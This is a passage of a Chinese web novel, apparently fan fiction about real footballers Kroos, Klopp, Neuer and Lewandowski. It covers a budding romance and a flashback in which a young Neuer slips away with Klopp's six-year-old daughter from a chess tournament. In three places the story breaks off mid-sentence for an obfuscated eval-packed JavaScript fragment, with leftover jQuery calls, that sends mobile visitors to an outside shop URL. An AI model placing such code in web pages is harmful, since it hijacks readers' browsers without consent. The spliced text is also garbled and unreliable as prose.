在成为朋友后,诺阿并没有向克罗斯隐瞒她因为什么来看皮肤科。 某次克罗斯问起来时,她很轻松地说了出来。 只是相较于克罗斯因为痘痘看皮肤科,诺阿遭遇车祸母亲去世、自己受伤严重经历几次手术才活下来,为了抹掉那些伤疤来看皮肤科的原因,听上去就让人有些难过了。 “我真的很抱歉……”克罗斯很惊讶,在他有心理准备的情况下,都没想到诺阿会是因为这而来看皮肤科。 “我可以给你个拥抱吗?”克罗斯有些难过地说,一双蔚蓝眼眸里深深看向诺阿。 诺阿明白托尼真的为她感到难过,尽管她的超忆症的确让她对那场车祸的每个瞬间都历历在目,永远无法忘掉。 但她并不希望身边人认为她永远沉浸在这样的逝去和伤痛里。 所以诺阿玩笑地对克罗斯说,“托尼,你要是想抱我可以直接说的,不需要用这个当理由。” 克罗斯哑然,再次吃瘪,但他清楚诺阿为什么会这么说,不是因为真的总要气气他、欺负他。 好吧,克罗斯回想他和诺阿的初遇。 他想诺阿的确有些爱欺负他,但他并不介意。 所以克罗斯承认了,没等阿诺答应,他就紧紧抱住她。 “这可是你自己说的。”少年的身体高大结实又温暖,将诺阿完全抱住,低头贴在她颈窝,滚烫的呼吸扑在她颈侧。 “不需要任何理由,现在我只是想要抱抱你。” “你不能拒绝我。” 诺阿愣了片刻,很快抬手回应克罗斯的拥抱,“我想我现在拒绝应该也晚了。” “别担心我,托尼。”诺阿将头靠在克罗斯肩膀上,“一切都过去了。” “不管是那时候的伤痛,还是伤痛留下来的疤痕……” “一切都过去了。” 诺阿这么说着,但现在克罗斯仍能在诺阿的身上摸到那时造成的伤疤。 克罗斯不带任何旖旎地拨开诺阿腰间宽松的裤腰,尽管这个亲密动作本身就足够旖旎。 克罗斯摸到诺阿微微凸起的胯骨能感觉到薄薄皮肉,再往下一点就是微微突起的小小疤痕,这是手术治疗留下的创口。 他的指尖轻轻按在上面摩挲。 人们对于伤疤或者伤疤背后的疼痛经历,有很多种处理方法。 有的寻求美容治疗消除伤疤、有的并不在乎只觉得这是某段经历过去的证明…… 诺阿是这两者的结合,因为父亲克洛普的担忧关心,她来治疗消除伤疤,但仍保留了一部分不起眼的。 对克罗斯来说,他想用另一种方式来让诺阿的伤疤,变成他想要感同身受。 或者说他想要代她承受,想要将她的伤疤同样刻在他的身体上。 这个念头一冒出来,克罗斯就决定必须这么做,他要在他身上留下一个纹身,一个属于诺阿的纹身。 早上诺阿再次被狗狗们呜咽着刨门的声音吵醒。 说实话经过昨晚那一遭,这会儿诺阿实在是不想睁开眼。 她把整个脑袋都埋进克罗斯怀里,还没反应过来他们现在这样有什么不对就说,“托尼,说真的。以后我们要是再准备领养狗狗,千万选精力没那么旺盛的狗狗好吗。” 托尼闭着眼将诺阿更紧揽在怀里,理智地回答她,“诺阿,你不能对狗狗们要求这么多,要知道它们只是狗狗。” “而且伦诺克斯和朱利叶斯它们已经很乖了,很多人都做不到像它们一样能听懂别人的简单指令。” “和人相比它们只是不能说人话而已。”克罗斯开始他的宽言宽语,“甚至有的人都说不出人话。” 克罗斯明显在说某些总是问出愚蠢问题的记者。 “好吧……”诺阿只能妥协,终于还是不情愿地睁开眼准备起床。 诺阿从床上坐起来,当混杂着两人体温的被子从身上滑下,连带着扯掉克罗斯身上的被子,露出青年肌肉结实漂亮的上半身时。 诺阿才彻底回想起昨晚发生了什么。 昨晚她被两只狗狗吵醒跑来找克罗斯,将狗狗们交给他之后,顺便就睡在了他的床上, 而克罗斯溜完狗狗们回来看到自己的床被诺阿占掉,也没打算去沙发上讲究或者去睡她的主卧,两个人挤在一起抱着睡了一晚。 诺阿起来的动作停顿了片刻,接着看向克罗斯,发现克罗斯像是什么他们这样再正常不过,赤|裸着上身躺在床上,抓着头发看向她。 克罗斯问:“还要再睡会儿吗。” “不了。”诺阿越过克罗斯下床,“我要去上班了,一会儿我把伦诺克斯和朱利叶斯也带去俱乐部。你接着睡会儿吧,毕竟昨天半夜你还出去溜它们了。” “好吧,虽然我也想跟你一起去上班,但还是算了吧。”克罗斯是拜仁慕尼黑的球员,跟着诺阿去多特蒙德的确不合适。 要是被人拍下来,说不定还会闹出克罗斯在夏窗可能从拜仁慕尼黑转会多特蒙德的惊人消息,要知道这个赛季他的确要签新合同了。 “不过你什么时候下班,我想晚上我们找家餐厅吃饭。” 克罗斯尽可能把他计划的约会说得像是一次普通的朋友外出用餐。 诺阿站在门口想了下,“好,我来定餐厅,下班后回来接你。” 两个人之间的对话活像是一起生活了十来年的夫妻一样,任谁听了都不会觉得他们只是朋友。 偏偏他们现阶段的关系还卡在朋友上没有更进一步。 “走吧伦诺克斯、朱利叶斯,一会儿你们跟我走,不过记得千万别在我的办公室里尿尿。”诺阿走出客卧后体贴地关上门,避免两只狗狗去打扰克罗斯。 诺阿离开后,克罗斯躺在床上露出笑容,他也意识到刚才他和诺阿之间的对话显得那样寻常且亲密。 那么晚餐的时候告诉诺阿他想要去纹身,让她陪他一起去怎么样? 莱万一出公寓就看到诺阿的车停在路边等他。 “嗨!”莱万拉开副驾车门,“谢谢你来接我,等很久了吗?” 诺阿:“没有,给你打电话的时候我刚到。” 几乎是在诺阿话音刚落,坐在后排的两只狗狗在莱万上车后就跃跃欲试,脑袋从扶手箱上伸过来,摇着尾巴热情地去嗅莱万不说,湿漉漉的鼻子还蹭在他衣袖上。 莱万露出惊喜表情,他小时候养过狗狗,还打算在德国安稳下来后养只狗狗陪自己。 “噢!小可爱们!”莱万忍不住上手摸了摸比格们,又揉了揉它们的大耳朵。 莱万欣喜地问:“你竟然养了两只狗狗,你要把它们也带去俱乐部吗?” 诺阿并不打算跟莱万解释狗狗们的主人另有其人,“是的,这是伦诺克斯、那是朱利叶斯。” “它们两精力有点太旺盛了,没办法我只能把它们一起带去俱乐部,希望它们白天在草地上跑一跑回家后能让我睡个安稳觉。” “这是个不错的主意,我可以帮你遛遛它们!”莱万热情地自告奋勇。 现在正是夏休,球员们基本上都在放假陪伴家人、或是去其他国家度假。 教练组的成员也有假期,不过相对球员来说,教练组会提前工作为下个赛季做准备,俱乐部的员工们倒是一直在正常工作,不像球员能有长假。 莱万原本也在假期中,但他刚来多特蒙德,不管是和俱乐部工作人员熟悉起来,还是提前适应新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354646|199017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俱乐部的训练方式都需要时间。 他才会在球员们都休假的时候提前来俱乐部。 莱万的建议让诺阿心动,想到他刚来陌生的德国,或许正是需要可爱小动物们安慰的时候。 诺阿答应下来,“如果你愿意的话,我很感谢。” “不,该是我感谢你才对,诺阿。”莱万俯身将两只狗狗抱进怀里,抬起头一双蔚蓝眼睛看向诺阿,露出个腼腆青涩极了的笑容。 诺阿得承认,波兰人很好看。 去到俱乐部,莱万先被教练组的体能训练师带走去做测试,好为他量身定做训练计划。 两只狗狗跟着诺阿去了办公室,这会儿它们还比较老实,耷拉着大耳朵趴在地上。 只是没多久办公室的门就被敲响。 穿着带有多特蒙德黄色标志运动服的克洛普推开门,他的头发稍微有些乱,带着黑框眼镜笑起来露出一口整齐洁白牙齿。 “诺阿,早上好,我的女儿。” “噢,这里怎么有两只狗狗。”克洛普很快注意到它们,还蹲下来摸了摸伦诺克斯和朱利叶斯,“嗨,你们好啊。” “你们想要点吃的吗?我可以去找食堂的工作人员给你们要点鸡胸肉什么的。” 诺阿不得不打断老父亲克洛普,“尤尔根,我刚给他们喂完吃的,别这么做好吗。它们对于自己已经吃饱了没概念,吃太多它们会拉肚子的。” “哦、好吧。”克洛普显得有些遗憾,毕竟谁能忍住想要给可爱狗狗们喂点吃的呢。 “不过你什么时候养狗的,怎么没告诉我。” 克洛普显得有些失望,他不想和诺阿之间的父女关系慢慢变远,这也是为什么克洛普很高兴诺阿能和他一起工作。 “好了,papa。”诺阿显得有些无奈,“伦诺克斯和朱利叶斯是托尼养的狗狗。” “噢,这样吗。”克洛普放心下来,他知道诺阿和克罗斯在几年前成为朋友,关系一直很好。 在克罗斯被租借到勒沃库森和多特蒙德对上时,比赛结束后克罗斯也会特意过来跟克洛普打招呼,介绍说他是诺阿的朋友。 克洛普那时就对克罗斯很有好感,他喜欢克罗斯在比赛中表现出的掌控力。 更别说在海因克斯麾下克罗斯的潜力还在被不断发掘,克洛普认为克罗斯未来一定会成为一名极其优秀的球员。 “如果你喜欢养狗狗,我也可以送你一条。” 在诺阿小时候,克洛普是美因茨的球员跟着球队徘徊在乙级联赛,没什么前途。 因为家庭和孩子,平时还要做其他兼职工作。 在克洛普成为美因茨的主教练后,他也跟着陷入经济危机的球队过了相当长一段苦日子,不仅要挽留赞助商、还要努力维护球迷让他们不要对球队失望,球队需要他们。 所以那时克洛普根本没机会让诺阿能拥有一只狗狗陪伴她长大。 “不了。”诺阿很明显不需要这样的弥补,两只比格已经够她受的了,“有伦诺克斯和朱利叶斯就可以了。” “好吧。”克洛普显得有些遗憾,不过还是话归正题。 “今晚也回来我们一起吃饭怎么样?” 诺阿婉拒,“我很想,但是我已经跟托尼约好我们晚上出去吃。” 克洛普有些意外,“克罗斯没有去度假,而是来找你了吗?” “是的,他带狗狗们一起来看我。” “哇噢!”克洛普挑眉发出惊叹,接着又露出一个老父亲为女儿颇为自豪的笑容,他的女儿就该这么收欢迎才对。 “要我给你推荐餐厅吗?” 这次诺阿没有拒绝颇为期待的老父亲,她点了点头,“当然。” 7.第 7 章 在克洛普给诺阿推荐完餐厅后,诺阿想起件事,她叫住正打算离开的克洛普。 “对了尤尔根。”诺阿想到她在拒绝诺伊尔邀请一起去度假后,她答应的事。 “八月七号你想去奥格斯堡竞技场看沙尔克04对阵拜仁慕尼黑的超级杯吗?” “曼努说给我留了几张票,我们可以一起去看。” 听到诺伊尔的名字,克洛普挑了挑眉,想起了诺伊尔曾经给他的评价。 “诺阿,你确定他是邀请我和你一起去看他的比赛?” 克洛普颇为抱怨地回忆,“我现在都还记得这小子在把只有六岁的你悄悄带走,让我差点以为你失踪了吓得够呛。” 诺阿有些无奈,“papa,所以你要和我一起去看超级杯吗?” 克洛普没有立刻回答,而是先问诺阿,“不过他倒是挺坚持的,你们之间一直都有联系对吧。” 诺阿不置可否,“怎么,你想要把曼努挖来多特蒙德当门将吗?” “哇噢!”尽管克洛普没这个想法,也不由得发出感叹,“这可真是个好主意,看来我真的有必要和你一起去看沙尔克04和拜仁慕尼黑的超级杯对决了!” 就这样父女俩确定下来。 诺阿给诺伊尔发去消息,说她会和父亲克洛普一起去看比赛。 因为是在度假,诺伊尔的回复消息很快。 【太好了,我让人先把票寄给你。我很高兴你来看我比赛,诺阿。】 【比赛结束后我们一起吃顿饭吧,刚好我可以把买的礼物送给你。】 诺阿答应了。 说到诺阿和诺伊尔的认识,那是个非常有意思的开始。 诺阿的天才和过目不忘从几岁就开始展现出来,并且幸运的是,德国对天才儿童的培养已经有成熟体系。 诺阿的母亲在发现诺阿的天才后,致电咨询过天才儿童咨询中心网络,在专业人士的建议下,开始让诺阿尝试不同方面的活动。 在这样的尝试下,诺阿展现出极其优秀的天赋,特别还表现出了对国际象棋的兴趣。 明明是个几岁肉乎乎小手都拿不稳棋子的孩子,已经能够看懂国际象棋的对弈,甚至比比赛中对手们还要更清楚看出接下来的走向。 这样的天赋怎么能够浪费。 在简单了解过后,诺阿的母亲立刻带她开始学习国际象棋、参加各种比赛。 他们从美因茨去到盖尔森基辛,这里的国际象棋氛围非常不错,还有一家底蕴深厚的国际象棋俱乐部——王翼马1928俱乐部。 这家俱乐部成立于1928年,近年来持续承办着国际棋联认证的官方国际象棋公开赛,除了德国本土的棋手,还吸引了不少其他国家的棋手参赛。 诺阿跟着母亲去到俱乐部,沟通后他们为诺阿安排了一次练习赛。 仅仅是这一场比赛,诺阿表现出的天赋就足以让俱乐部的人感到震惊,他们从找来十几岁的小棋手,到DWZ在1700 - 2100这个阶段的俱乐部主力来和诺阿比赛。 尽管诺阿在沉着肉乎乎五官却精致漂亮的小脸一段时间后,遗憾输给了俱乐部主力。 但她表现出的天赋已经足够让所有人清楚意识到,未来她一定会在国际象棋这项运动上拥有不小的成就。 就这样,诺阿开始频繁去到盖尔森基辛开始她在国际象棋上的学习和比赛。 和诺伊尔的认识就是因为一次国际象棋比赛。 诺伊尔的父亲是位警察,那次被派去维护这场官方国际象棋公开赛的安全工作。 这场比赛参加的孩子不少,年龄最小的是只有六岁的诺阿,其他基本上都是十来岁左右的孩子,剩下大部分是成年人棋手。 按理说像是国际象棋这种比赛选手只会安静坐下,在棋盘上下棋残忍厮杀的竞技项目,根本不会有任何安全问题,根本用不着警察出现在这里保证安全工作。 但问题是,那段时间德国接连出现好几起儿童连环凶|杀案以及性|侵案。 尽管案件都发生在德国北部,但谁又能保证那个凶手不会警惕跑到其他地方再次犯罪呢。 鉴于这份考虑,这场国际象棋公开赛在申报后,警方决定出面承担起比赛的安全工作。 诺伊尔的父亲就是维护这场比赛安全的警察之一。 那时十一岁的诺伊尔已经加入沙尔克04的U12青训队,每天开开心心训练、学习,往返于俱乐部、学校和家中。 只不过同样因为那个被立案调查儿童连环杀|手与性|侵|犯,诺伊尔的父亲考虑到儿子的安全,在执行他的工作时顺带把儿子一起带上。 在此之前诺伊尔警官在沙尔克04主场周边执行工作任务时,也会时常把儿子带上,父子一起去看足球比赛。 “曼努,今天你就跟着我一起,在比赛现场呆着别乱跑好吗。” 诺伊尔警官叮嘱儿子,“我知道国际象棋比赛看上去可能有点无聊,不像足球那么有意思,但这段时间我不放心让你到处去玩儿,原因你知道的。” 诺伊尔警官没有瞒着儿子最近发生了什么样的残忍案件,像他这样既是警察又是两个男孩儿父亲的身份,不可能不重视任何有孩子不幸遇害的案件,甚至那还是接连的男童遇害案。 诺伊尔也从这段时间父母的担忧聊天中知道最近发生了什么,更别说他们来的时候还听到其他警察对于那几起儿童受害性|侵案的讨论。 “放心爸爸,我不会乱跑的。”一头金色短发的诺伊尔看上去很可爱有活力,但是诺伊尔警官知道他的儿子从不是个乖巧的主儿。 足球这项运动锻炼了他的体魄,也让他的性格变得更刚强不服输,前段时间诺伊尔警官还因为儿子和其他同学打架被叫去学校处理。 “也别干坏事,曼努。”诺伊尔警官半警告半提醒地说完,就让诺伊尔待在比赛现场等他。 只是父亲刚走,诺伊尔就露出个淘气笑容,转身在消失在一个个对弈的棋桌之间。 国际象棋看上去是项相当枯燥的竞技比赛,特别是当你不会下国际象棋的时候。 诺伊尔就是如此,但就算他不会下国际象棋,也不影响诺伊尔有一双能够捕捉到美丽的眼睛。 在一众年龄各不相同、长相或平凡或严肃老成的棋手中,一个比诺伊尔还要小上好几岁的身影被他捕捉到,眼睛一下就放出光彩亮起来。 六岁的诺阿鼓着她肉嘟嘟的小脸,披着黑亮像绸缎的长发,一双又圆又大的灰蓝眼眸让她看上去漂亮可爱得不似真人,更别说她的鼻子还又挺又翘,五官皮肤都漂亮完美极了。 再加上她一只手里还抱着只毛茸茸的小熊,漂亮小女孩儿肉乎乎的小脸一边认真思考,一边紧紧贴着毛绒小熊的样子,这让她看上去简直漂亮可爱得要命! 别说是诺伊尔的目光被吸引看呆了,就是跟诺阿下棋的对手都忍不住下一步棋后抬头看她好几眼。 这之中有因为诺阿的年幼可爱,但更多是被诺阿下棋时的天才杀伐给震惊到。 诺阿全身心沉浸在下棋的思考中,她面前的对手棋力一般,要论计算能力也不如她。 所以他们之间的这局比赛胜负几乎毫无悬念,诺阿轻松赢下来这局。 对手对自己的失败也不意外,因为来之前他就已经听说王翼马1928俱乐部来了个相当聪明的天才小棋手,只是一年时间就不断参加各项赛事累积DWZ积分。 被她打败的棋手不少,在比赛结束后也都对她的天赋给出了相当高的评价。 “你真的很厉害,小克洛普女士。”已经是成年人的对手俯身低头,露出认可又感叹的笑容,对抱着小熊坐在椅子上,坐直身子后下巴才堪堪越过桌面的诺阿说,“谢谢你这盘棋,祝你在接下来的比赛一切顺利。” 诺阿一只手抱着小熊,伸出另一只手越过棋盘想要跟对手握手,童声软糯地说,“谢谢,也祝你接下来的比赛一切顺利。” 但是她短短又肉肉的小手根本够不着多远,对手被诺阿这么乖巧的样子彻底可爱到了。 他笑着将手伸过来,不过诺阿的小手只能堪堪握住他的几根手指就抓不住了,这也让这一幕显得更加可爱。 这次比赛采用的是瑞士制,一共五天九轮比赛。 上午的第一轮比赛,诺阿和对手下完双方在积分表上签字交给裁判后,到下午第二轮比赛开始之前诺阿都可以在比赛场地自由活动。 诺阿母亲就在现场,她看到诺阿比赛结束后冲她挥了挥手,示意想去看其他选手的比赛。 诺阿母亲点头答应后,又接着开始跟其他孩子的家长交流起来,了解接下来她该怎样培养诺阿、可以给她找哪位棋手当老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375864|199017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、参加什么样的赛事、怎样加入州级培训、到参加欧洲锦标赛或者世青锦标赛…… 这些诺阿倒是都不关心,因为对于她来说,她用做的只有下棋而已。 看到诺阿抱着小熊在不同比赛选手中穿梭,诺伊尔忍不住跟了上去。 诺伊尔百分百确定自己喜欢诺阿。 这种喜欢非常单纯,就像是喜欢他的毛绒小熊、喜欢足球、喜欢体育课和地理课一样的喜欢。 这也让诺伊尔忍不住想要认识诺阿。 “你抱着的小熊我小时候也有只一样的。” 诺阿停下脚步,抬头看向跟自己搭话的诺伊尔。 男孩儿比她大上好几岁的样子,一头金发、蓝色眼睛配上短钝的小脸,看上去几乎就写着淘气二字。 “现在呢,你的小熊还在吗?”诺阿对诺伊尔第一印象还可以,或者说她对谁都没有太大的防备心。 这时候的诺阿还不知道自己有超忆症,她只知道自己看到的、听到的一切她统统都能记住,所以她对任何第一次见面的人都没有陌生感和防备心。 他们不会是陌生人,而是会被她永远记住的人。 哪怕是她婴儿时期,被父亲克洛普第一次亲在脸上、或是母亲在夜里抱着她轻轻摇晃、亦或是刚学会行走的她,被带去美因茨的主场美瓦竞技场去看父亲克洛普的比赛,他给哪位队友助攻了和他当天的所有表现…… 甚至是那天身边观众知道她是克洛普的女儿后,笑着冲她眨眼的模样,她都记得清清楚楚并且永远不会忘记。 “当然在,它还在我房间的床上,每天都陪着我一起睡觉。”诺伊尔对诺阿愿意理他而感到高兴,要知道他这个年纪的淘气男孩儿,可绝对没那么受欢迎。 “我的小熊也会陪着我睡觉。”诺阿不介意把这件事告诉诺伊尔,“所以你也是来参加比赛的吗?” 面对诺阿的好奇,诺伊尔诚实回答,“不是,我不会下国际象棋,我是跟爸爸一起来的。他是警察,你应该见过他。” 诺阿在记忆里寻找,很快找到一个和诺伊尔有几分相似的警察。 “是的,我见过你爸爸,他头发是黑色的对吧。”诺伊尔没想到他还没仔细介绍,诺阿就分辨出来了。 要知道诺伊尔的头发和妈妈一样是金发,而他哥哥和父亲一样是黑发。 但从最明显的外貌上看,一般人对他们不是很熟悉,都不会第一眼就分辨出他们是父子。 “对的!”诺伊尔有些高兴,“你真厉害,竟然第一眼就能看出来。” 孩子之间的话题跳转地很快,诺伊尔马上又说,“不过我虽然不会下国际象棋,但我会踢足球,你会踢球吗?” 诺阿摇了摇头,又颇为自豪地说,“我不会,但是我papa会。他是职业足球运动员,他是最厉害的人!” 诺伊尔来了兴趣,“是吗,你爸爸叫什么名字,说不定我还看过他的比赛。” “尤尔根·克洛普。”诺阿自豪地说。 诺伊尔动作顿了顿,实在是没听说过德国有哪个厉害球员叫这个名字。 他尴尬地抬手挠了挠头,接着为了让诺阿开心而撒谎,“噢、我想我听说过你爸爸的名字。” 为了不继续这样的尴尬,诺伊尔迅速转移话题,“我看过你下国际象棋了,你要来看看我踢球比赛吗。” “好吧,其实也不能算是我踢球比赛,毕竟我是个守门员。” “好啊。”诺阿一下就答应了,孩子之间的友谊有时候发展得就是很快,两个孩子聊着天很快交换了姓名成为朋友。 在接下来几天的比赛中,诺伊尔因为上学和下午的足球训练,再到比赛现场来找诺阿时,她早就结束了当天的比赛。 这倒是方便了两个孩子一起结伴玩耍,只是对于诺阿答应要去看诺伊尔比赛的承诺,迟迟没有实现机会。 诺阿母亲也知道女儿交到了个比她大上好几岁的男孩儿当朋友,但因为诺伊尔父亲就是这场比赛现场维护安全的警察,而对诺伊尔放松警惕。 中国人对于警察这样拥有公信力的职业身份总是报以信任。 这就导致了在比赛最后一天,所有棋手陆陆续续结束最后一轮比赛。 裁判计算积分确定比赛名次,马上要进行颁奖时,才发现得了第二名的天才小棋手突然消失不见了。 8.第 8 章 知道这个消息后,工作人员和其他棋手都感到担心,更不用说是这天终于有空接替妻子,来现场看女儿比赛的克洛普了。 他感觉自己心脏都快停跳了! 诺阿! 他的女儿! 她被人带走了吗?!那个人会伤害她吗?! 原本克洛普就为自己球员的职业,一整个赛季都不能有太多时间陪伴女儿成长而感到歉意。 没想到这次妻子有事临时让他来比赛现场陪伴女儿,他还会把女儿给弄丢! 克洛普在找遍了整个比赛现场的所有地方都不见女儿踪影后,终于懊悔地揪住自己的头发,慌乱找到比赛现场负责安全工作的诺伊尔警官寻求帮助。 听到有孩子不见了,诺伊尔警官立刻联系其他警察在比赛现场和周边寻找。 克洛普自责地给诺阿母亲打去电话。 “对不起,都是我的错,诺阿她、她不见了!” “明明几分钟前我还看见她的!”克洛普语无伦次,整个人也陷入恐慌中,“但转眼我跟人聊了一会儿再回头去看她的时候,她就不见了!” “亲爱的怎么办?!诺阿她会不会被哪个坏人给带走了?!” “我真的很抱歉,这一切都是我的错!” 诺阿母亲也没想到,因为她突然有其他工作,最后这天需要克洛普来陪女儿比赛,反而把女儿给弄丢了。 但不管怎样,诺阿母亲还是先冷静下来问具体情况,她相信女儿的聪明,不会轻易被别有用心的人带走,“听着尤尔根,你仔细回想一下,你最后看到诺阿时她身边有没有什么人。” 克洛普努力冷静下来回想,“那时候她身边没有什么人,都是参加比赛的棋手……” “等等!”克洛普在记忆里寻找终于想起,“那时候有个金发男孩儿好像在跟诺阿招手!” “会是那孩子把诺阿带走了吗?!” 一直在旁陪伴的诺伊尔警官听到不由得皱起眉,金发男孩儿这个描述听起来并不明确,现场也还有其他金发年纪小的男棋手。 但不知道为什么。 诺伊尔警官直觉克洛普看到的那个和诺阿招手、还很有可能把她带走的金发男孩儿,就是自己淘气的小儿子曼努。 诺阿母亲明显也想到了这点,这几天两个孩子成为朋友的事,她和诺伊尔警官都知道。 最开始因为诺阿突然不见的慌乱、不知所措,在这会儿思考过后,也很快梳理出事情的可能发展。 会不会是比赛即将结束,两个孩子约好一起去什么地方玩儿去了? 诺伊尔警官沉着脸,一边希望将诺阿悄悄带走的是他的儿子曼努,而不是什么坏人;另一边又希望他的儿子最好是没干出这种吓人的蠢事。 “克洛普先生,如果真的是你看到的那个金发男孩儿把你的女儿带走了,我想我可以试着带你去一个地方找找他们。” “真的吗?!”克洛普像是抓住救命稻草一样抓住诺伊尔警官,“拜托你一定要带我去找!我不能放过任何机会!” “我不敢想象诺阿遇到任何意外!我必须立刻找到她!” 诺伊尔警官只有两个儿子并没有女儿,但他能理解有个可爱女儿的克洛普,在知道女儿不见时的担心自责以及慌张。 “走吧,我开车带你去个地方,两个孩子应该在那里。” 到现在为止,虽然还没有任何证据,但诺伊尔警官的预感已经告诉他,百分百是他的淘气小儿子曼努把人家可爱的小孩儿给骗走了。 沙尔克04的青训基地里,一场9人制的足球比赛正在进行中。 诺阿站在U12青训教练身边,只有大腿高抱着小熊的可爱乖巧模样,让看惯了十来岁淘气男孩儿的青训教练实在喜欢。 不然他也不会在诺伊尔带着诺阿来青训队,说想要他的朋友能看他们比赛时答应让她进来。 要知道青训队的管理可是很严格的,就连小队员们的家长都不让进来。 青训教练忍不住伸手摸了摸诺阿的脑袋,“小姑娘,你觉得这场比赛怎么样?” 说实话这个年纪的诺阿还看不懂足球比赛,只知道把足球踢进球门是最关键的那一刻。 诺阿扬起小脑袋、又大又圆的灰蓝漂亮眼眸看向严肃的青训教练眨了眨,“还不错,曼努他很厉害,好几次都把对手的球扑了出去。” “教练,曼努以后可以在更正式的比赛中上场吗?他跟我约好,以后要让我看他在一线队的比赛中出场。” 青训教练没想到平时看着淘气的诺伊尔,还会在漂亮小女孩儿面前期待地夸下海口。 说是夸下海口其实也不尽然,诺伊尔当门将的确有天赋,只是现在还差一个机会。 “小姑娘,这个问题我给不了你明确答案。”青训教练笑着,将诺伊尔和诺阿之间的约定换了种说法。“但或许你可以跟曼努约定,说你想要看他以后在一线队的比赛中出场。” 这个约定的主动性一下就从诺伊尔希望自己能进入一线队,诺阿来看他比赛的被动,变成诺阿想要看到诺伊尔进入一线队的期待和鼓励。 青训教练必须得说,像是诺伊尔这个年纪的男孩子在这方面还是太欠缺了点,显得过于青涩。 他想他除了能教男孩儿们踢球,还能教他们怎么跟女孩子相处。 一旁的助教吹响哨声,提醒男孩儿第一节比赛结束,他们可以下场休息一会儿,听教练调整安排接下来的提法 “第一节比赛结束了。”青训教练蹲下身,这让他可以更好地看着诺阿的眼睛平等地跟她说话,“你想要去找曼努,亲口告诉他,你觉得他这场比赛的表现很厉害吗?” 诺阿抱着小熊挡住脸只露出一双圆溜溜的漂亮眼睛,最后可爱地点了点头说,“嗯!” 青训教练脸上露出笑容,“那就去吧,乖孩子,曼努他会很开心的。” 不等诺阿去找诺伊尔,他就先跑到场边来找诺阿。 顶着一头湿漉漉金发的诺伊尔摘掉手套,跑过来就给了诺阿一个拥抱,兴奋地问她,“诺阿,你觉得这场比赛我表现得怎么样?!” “我可是扑出去了两个球!”说到这个诺伊尔就觉得自豪。 “很好!”诺阿重重点头认可,“曼努你以后一定会变成像我爸爸一样厉害的球员!” “呃……”诺伊尔有点尴尬,再次想到他完全没在德国足坛听到过尤尔根·克洛普这个名字的厉害球员。 但为了能让诺阿高兴,他只能再次撒谎。 “哈哈哈。”诺伊尔生硬地笑了笑,“那太好了。” 诺伊尔立马转移话题,“诺阿,下次你也来看我比赛怎么样?” 诺阿点头正想要答应的时候,一个听起来就带着怒火的暴躁男人声音从他们身后传来,“不怎么样!” “曼努埃尔·诺伊尔!”诺伊尔警官在远远看到诺阿站在球场边的小小身影时,已经确定自己的小儿子的确干了吓人的蠢事。 “我想绝对没有下次了!” 诺伊尔听到父亲的愤怒声音浑身一激灵,立刻就想跑。 他知道自己偷偷把诺阿带走的行为不对,但有时候对于淘气男孩儿来说,他们做事根本不看对不对,只看想不想。 “诺阿!”克洛普真的哭出来了,跑过来激动地抱住失而复得的女儿,都不知道自己什么时候跪在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384951|199017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草地上,“你快吓死我了,你不能这样什么都不说就离开爸爸,你知道爸爸有多担心你吗?!” “要是你被坏人都走了怎么办,要是你一个人在外面遇到什么危险怎么办?!” 诺阿没想到父亲克洛普会哭,她看上去很无措,但还知道先道歉,“对不起,papa。” “我以为看完曼努的比赛后我们很快就会回去的,我没想过让你担心。” 诺阿肉乎乎的小脸凑过去贴在克洛普冒着些胡渣的脸颊上蹭了蹭,“真的对不起,papa,你不要生气了好不好。” 这边是克洛普父女俩抱在一起,一个激动担心地哭着,一个乖乖道歉贴贴的温情画面。 另一边诺伊尔父子之间就没这么好的氛围了,诺伊尔耸起脖子不敢去看警察父亲冷脸暴怒的样子。 “你知道你做了什么吗?!” 诺伊尔乖乖站好,抬眼偷看父亲生气样子,试图申辩,“知道,但我是和诺阿约好了的,她来看我比赛。” “约好了你就可以偷偷带着她谁都不告诉吗?”诺伊尔警官更加生气了,“你知道你的行为都能被称为犯罪了吗?!” “我从没想到我一个警察竟然会教出个罪犯儿子出来!” “你必须得到一些教训了!” 这话一出,诺伊尔就知道自己回家要挨揍了。 一旁的青训教练听完两个孩子和两位父亲之间的对话,终于是弄清楚怎么一回事了。 没想到两个孩子跑来这里竟然没有告诉各自的家长,家长还以为孩子被不怀好意的人给带走了。 这场诺阿消失不见的乌龙最终变成诺伊尔回家挨揍,诺阿回去领完奖也被父母批评了好几句。 不过闹剧结束之后,两个孩子之间的友谊关系并没有被改变,反而连带着两个家庭的关系也都变得更紧密了。 